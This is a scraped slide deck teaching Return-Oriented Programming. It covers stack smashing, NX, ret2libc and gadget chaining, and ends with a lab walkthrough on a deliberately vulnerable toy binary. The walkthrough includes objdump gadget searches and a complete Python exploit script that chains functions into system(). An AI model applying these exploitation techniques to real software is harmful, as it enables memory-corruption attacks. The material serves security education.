XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software Solutions
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
 

Go Go Gadget! - An Intro to Return Oriented Programming (ROP)

  • 1. An Intro to Return-Oriented Programming Miguel A. Arroyo Go Go Gadget! @miguelaarroyo12
  • 2. Recap - Memory Corruption Basics ● Smashing The Stack #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); // no bounds checking } int main (int argc, char **argv){ foo(argv[1]); return 0; } Parent Frame Return Address Saved Frame Pointer char *bar char c[12] StackGrowth MemoryAddresses
  • 3. ● Smashing The Stack #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); // no bounds checking } int main (int argc, char **argv){ foo(argv[1]); return 0; } Parent Frame Return Address Saved Frame Pointer char *bar char c[12] StackGrowth MemoryAddresses h e l l o 0 Recap - Memory Corruption Basics
  • 4. ● Smashing The Stack #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); // no bounds checking } int main (int argc, char **argv){ foo(argv[1]); return 0; } Parent Frame Return Address Saved Frame Pointer char *bar char c[12] StackGrowth MemoryAddresses A A A A A A A A A A A A A A A A A A A A Recap - Memory Corruption Basics
  • 5. ROP - An Origin Story ● No eXecute (NX) stack SHELLCODE Return Address Saved Frame Pointer char *bar char c[12] StackGrowth MemoryAddresses A A A A A A A A A A A A A A A A 08 35 c0 80
  • 6. ROP - An Origin Story SHELLCODE Return Address Saved Frame Pointer char *bar char c[12] StackGrowth MemoryAddresses A A A A A A A A A A A A A A A A 08 35 c0 80 Segmentation Fault No more code injection! ● No eXecute (NX) stack
  • 7. ROP - An Origin Story SHELLCODE Return Address Saved Frame Pointer char *bar char c[12] StackGrowth MemoryAddresses A A A A A A A A A A A A A A A A 08 35 c0 80 Key Question Can we reuse existing code? ● No eXecute (NX) stack
  • 8. ROP - An Origin Story Smashing the Stack For Fun and Profit (1996) - By Aleph One Original: http://phrack.org/issues/49/14.html#article Additional Resource: https://travisf.net/smashing-the-stack-today
  • 9. ROP - An Origin Story ● Smashing the Stack For Fun and Profit (1996) - By Aleph One ○ ret2libc ■ libc whole function reuse. ● Classic example: execve(“/bin/sh”)
  • 10. ROP - An Origin Story ● Smashing the Stack For Fun and Profit (1996) - By Aleph One ○ ret2libc ■ libc whole function reuse. ● Classic example: execve(“/bin/sh”) Virtual Address Space ./hello_world libc 0x4000 0x8000
  • 11. ROP - An Origin Story ● Smashing the Stack For Fun and Profit (1996) - By Aleph One ○ ret2libc ■ libc whole function reuse. ● Classic example: execve(“/bin/sh”) Virtual Address Space ./hello_world libc 0x4000 0x8000 Key Question Can this be generalized & finer- grained than a function?
  • 13. The Birth of ROP The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) - 2007 - By Hovav Shacham https://hovav.net/ucsd/dist/geometry.pdf ● A generalization of the ret2libc by combining short instruction sequences to build gadgets that allow arbitrary computation. ○ Some gadgets are present in the program, others can be found despite not being placed there by the compiler
  • 14. ROP Building Blocks ● Chain gadgets to execute malicious code. ● A gadget is a short sequence of instructions ending in the branch instruction ret (x86) or b/bx (ARMv7). ● Turing complete class of gadgets: ○ Load/Store ○ Arithmetic and Logic ○ Control Flow x86 ● pop eax; ret //load ● xor eax, eax; ret //arth ARMv7 ● pop {r1, pc} //load ● str r1, [r0]; bx lr //store Note: Because x86 instructions aren’t aligned, a gadget can contain another gadget. How frequently this occurs depends on the language geometry.
  • 15. ROP Building Blocks ● Ordinary Program Execution Instruction Instruction Instruction Instruction Instruction %ip
  • 16. ROP Building Blocks ● Ordinary Program Execution Instruction Instruction Instruction Instruction Instruction %ip
  • 17. ROP Building Blocks ● Ordinary Program Execution Instruction Instruction Instruction Instruction Instruction %ip
  • 18. ROP Building Blocks ● Ordinary Program Execution ○ Instruction pointer %ip determines which instruction to fetch and execute ○ Processor automatically increments %ip and moves to next instruction ○ Control flow is changed by modifying %ip. Instruction Instruction Instruction Instruction Instruction %ip
  • 19. ROP Building Blocks ● ROP Program Execution G1 - Instruction G1- Return G2 - Instruction G2 - Return G3- Instruction %ip @gadget1 @gadget2 @gadget3 G3- Return %sp Stack
  • 20. ROP Building Blocks ● ROP Program Execution G1 - Instruction G1- Return G2 - Instruction G2 - Return G3- Instruction %ip @gadget1 @gadget2 @gadget3 G3- Return %sp Stack
  • 21. ROP Building Blocks ● ROP Program Execution G1 - Instruction G1- Return G2 - Instruction G2 - Return G3- Instruction %ip @gadget1 @gadget2 @gadget3 G3- Return %sp Stack
  • 22. ROP Building Blocks ● ROP Program Execution G1 - Instruction G1- Return G2 - Instruction G2 - Return G3- Instruction %ip @gadget1 @gadget2 @gadget3 G3- Return %sp Stack
  • 23. ROP Building Blocks ● ROP Program Execution G1 - Instruction G1- Return G2 - Instruction G2 - Return G3- Instruction %ip @gadget1 @gadget2 @gadget3 G3- Return %sp Stack
  • 24. ROP Building Blocks ● ROP Program Execution ○ Stack pointer %sp determines which instruction sequence to fetch and execute. ○ Return (instead of processor) automatically increments %sp. G1 - Instruction G1- Return G2 - Instruction G2 - Return G3- Instruction %ip @gadget1 @gadget2 @gadget3 G3- Return %sp
  • 25. Recap - Calling Conventions ● Determine how functions receive parameters from their caller and how they return a result. ● Variations in conventions ○ Compilers (ie. GCC vs Clang vs MSVC vs ...) ○ Architectures (ie. X86 vs ARM vs MIPS vs …) Note: Wikipedia provides a great overview for many of the variations: https://en.wikipedia.org/wiki/Calling_convention
  • 26. Recap - Calling Conventions ● X86 cdecl ○ Most commonly found on Linux systems. ○ Function arguments are passed in on the stack in reverse order. Note: This site provides a good mini tutorial http://codearcana.com/posts/2013/05/21/a-brief- introduction-to-x86-calling-conventions.html
  • 27. Simple ROP Walkthrough Source: https://gist.github.com/mayanez/c6bb9f2a26fa75261a9a26a0a637531b void lazy(); void food(int magic); void feeling_sick(int magic1, int magic2); void vuln(char *string); int main(int argc, char** argv) { string[0] = 0; printf("m3 hUN6rY...cAn 1 haZ 5H3ll?! f33d mE s0m3 beefnn"); if (argc > 1) { vuln(argv[1]); } else { printf("y0u f0rG0T t0 f33d mE!!!n"); } return 0;
  • 28. Simple ROP Walkthrough void lazy() { system(string); } void food(int magic) { printf("THANK YOU!n"); if (magic == 0xdeadbeef) { strcat(string, "/bin"); } } void feeling_sick(int magic1, int magic2) { printf("1m f33ling s1cK...n"); if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d) { strcat(string, "/echo 'This message will self destruct in 30 seconds...BOOM!'"); } } Adapted from: http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
  • 29. Simple ROP Walkthrough void lazy() { system(string); } void food(int magic) { printf("THANK YOU!n"); if (magic == 0xdeadbeef) { strcat(string, "/bin"); } } void feeling_sick(int magic1, int magic2) { printf("1m f33ling s1cK...n"); if (magic1 == 0xd15ea5e && magic2 == 0x0badf00d) { strcat(string, "/echo 'This message will self destruct in 30 seconds...BOOM!'"); } } Goal Chain the functions in the following order: 1. food() 2. feeling_sick() 3. lazy()
  • 30. Simple ROP Walkthrough ● Identifying necessary addresses ○ Functions ■ objdump -d <binary> | grep <func> ● Finding Gadgets ○ Simplest ■ objdump -d <binary> | less ○ ROP Compiler ■ https://github.com/JonathanSalwan/ROPgadget ■ https://github.com/sashs/Ropper Note: When dealing with other architectures (eg. ARMv7) you must use appropriate tools (eg. arm- linux-gnueabihf-objdump)
  • 32. Simple ROP Walkthrough Demo (x86) ● Step 1: Make ➜ simple-rop git:(master) ✗ make gcc -m32 -O0 -g -static -fno-stack-protector simple-rop.c -o simple-rop
  • 33. Simple ROP Walkthrough Demo (x86) ● Step 2: Locate function addresses ➜ simple-rop git:(master) ✗ objdump -d simple-rop| grep -E "<lazy>|<food>|<feeling_sick>" 08049b05 <lazy>: 08049b30 <food>: 08049b92 <feeling_sick>:
  • 34. Simple ROP Walkthrough Demo (x86) ● Step 3: Locate gadgets ➜ simple-rop git:(master) ✗ objdump -d simple-rop | pcregrep -M 'pop.*(n).*.pop.*(n).*.ret' | grep -n1 9ca5 10- 8049ca4: 5f pop %edi 11: 8049ca5: 5d pop %ebp 12- 8049ca6: c3 ret
  • 35. Simple ROP Walkthrough Demo (x86) ● Step 4: Planning food() desired stack layout | <argument> | | <return address> |
  • 36. Simple ROP Walkthrough Demo (x86) ● Step 4: Planning food() desired stack layout | 0xdeadbeef | | <address of pop; ret> | | <address of food> |
  • 37. Simple ROP Walkthrough Demo (x86) ● Step 4: Planning feeling_sick() desired stack layout | 0x0badf00d | | 0xd15ea5e | | <address of pop; pop; ret> | | <address of feeling_sick> |
  • 38. Simple ROP Walkthrough Demo (x86) ● Step 4: Planning Full Payload | <address of lazy> | | 0x0badf00d | | 0xd15ea5e | | <address of pop; pop; ret> | | <address of feeling_sick> | | 0xdeadbeef | | <address of pop; ret> | | <address of food> | | 0x42424242 (fake saved %ebp) | | 0x41414141 ... |
  • 39. Simple ROP Walkthrough Demo (x86) ● Step 5: Writing the exploit ○ Use your language of choice
  • 40. Simple ROP Walkthrough Demo (x86) ● Step 5: Writing the exploit # NOTE: For Python 2.7 import os import struct #Find gadgets pop_ret = 0x08049ca5 pop_pop_ret = 0x08049ca4 lazy = 0x08049b05 food = 0x08049b30 feeling_sick = 0x08049b92 #Buffer Overflow payload = "A"*0x6c payload += "BBBB" #food(0xdeadbeef) gadget payload += struct.pack("I", food) payload += struct.pack("I", pop_ret) payload += struct.pack("I", 0xdeadbeef) #feeling_sick(0xd15ea5e, 0x0badf00d) payload += struct.pack("I", feeling_sick) payload += struct.pack("I", pop_pop_ret) payload += struct.pack("I", 0xd15ea5e) payload += struct.pack("I", 0x0badf00d) payload += struct.pack("I", lazy) os.system("./simple-rop "%s"" % payload)
  • 41. ROP Variants (Code Reuse Techniques) ● Just-In-Time ROP (JIT-ROP) ○ https://cs.unc.edu/~fabian/papers/oakland2013.pdf ● Jump Oriented Programming (JOP) ○ https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf ● Blind Return Oriented Programming (BROP) ○ http://www.scs.stanford.edu/brop/bittau-brop.pdf
  • 42. Keep on Learning ● Assembly Basics ○ X86 ■ https://www.nayuki.io/page/a-fundamental-introduction-to-x86-assembly-programming ○ ARMv7 ■ https://azeria-labs.com/writing-arm-assembly-part-1/ ● General Binary Exploitation ○ X86 ■ https://github.com/RPISEC/MBE ○ ARMv7 ■ https://azeria-labs.com/writing-arm-shellcode/ ■ https://blog.3or.de/arm-exploitation-return-oriented-programming.html ● Multi-arch development ○ https://github.com/mayanez/crossdev ■ Still needs work, contributions welcome!
  • 43. Questions? Slides can be found on my site: https://miguel.arroyo.me/ @miguelaarroyo12